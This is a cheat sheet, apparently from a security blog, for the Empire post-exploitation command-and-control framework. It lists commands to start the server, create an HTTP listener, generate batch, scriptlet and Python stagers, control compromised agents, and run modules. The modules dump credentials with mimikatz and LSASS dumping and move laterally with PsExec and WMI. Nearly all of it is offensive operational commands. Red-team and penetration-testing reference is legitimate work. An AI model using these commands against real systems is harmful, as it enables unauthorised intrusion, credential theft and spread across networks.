Ultimate Empire Cheat Sheet

Samir KC
March 15, 2026


Ultimate Empire Cheat Sheet

A pure PowerShell/Python post-exploitation framework.

1. Server & Client (Empire 4.x+)

Modern Empire uses a Client/Server architecture. You must start the server first.

Start Server

Starts the database and listener capabilities.

sudo powershell-empire server

Start Client

Connects to the server interface.

sudo powershell-empire client

Starkiller (GUI)

Alternatively, use Starkiller (a GUI frontend) to connect to http://localhost:1337 (Default user: empireadmin, Pass: password123).

2. Listeners (C2)

The "ears" of Empire. You must setup a listener to catch connections from agents.

Create HTTP Listener

uselistener http
set Name http1
set Port 8080
set Host http://192.168.1.5
execute

Management

View running listeners.

listeners

Kill Listener

kill http1

3. Stagers (Payloads)

Generates the code (bat, ps1, exe) that you execute on the target to get an agent.

Batch File Stager

Good for Windows CMD execution.

usestager windows/launcher_bat
set Listener http1
execute

PowerShell One-Liner

Base64 encoded command for pasting into a PS console.

usestager windows/launcher_sct

Python Stager (Linux/Mac)

usestager multi/launcher
set Listener http1

4. Agents (Sessions)

Manage compromised machines.

Listing & Interaction

agents
interact [Agent_Name]

Basic Commands

Once inside an agent:

  • sysinfo: Get OS, User, Domain info.
  • upload [file]: Upload local file to target.
  • download [file]: Download remote file.
  • shell [cmd]: Run a native OS command (e.g., shell whoami).
  • sleep 0: Make agent responsive (noisy).

Rename Agent

rename [Old_Name] [New_Name]

5. Modules (Post-Exploitation)

Empire's strength lies in its massive library of PowerShell/Python scripts.

Searching

searchmodule mimikatz
searchmodule privesc

Situational Awareness

Recon tools (Sherlock, PowerView).

usemodule powershell/situational_awareness/network/powerview/get_user
usemodule powershell/privesc/sherlock

Credential Dumping

usemodule powershell/credentials/mimikatz/logonpasswords
usemodule powershell/credentials/dump_lsass

Execution

Once a module is selected and options are set:

execute

6. Lateral Movement

Moving from one compromised host to another.

Invoke-PsExec

usemodule powershell/lateral_movement/invoke_psexec
set ComputerName [Target_IP]
set Listener http1

Invoke-WMI

Stealthier than PsExec.

usemodule powershell/lateral_movement/invoke_wmi
set ComputerName [Target_IP]
⇧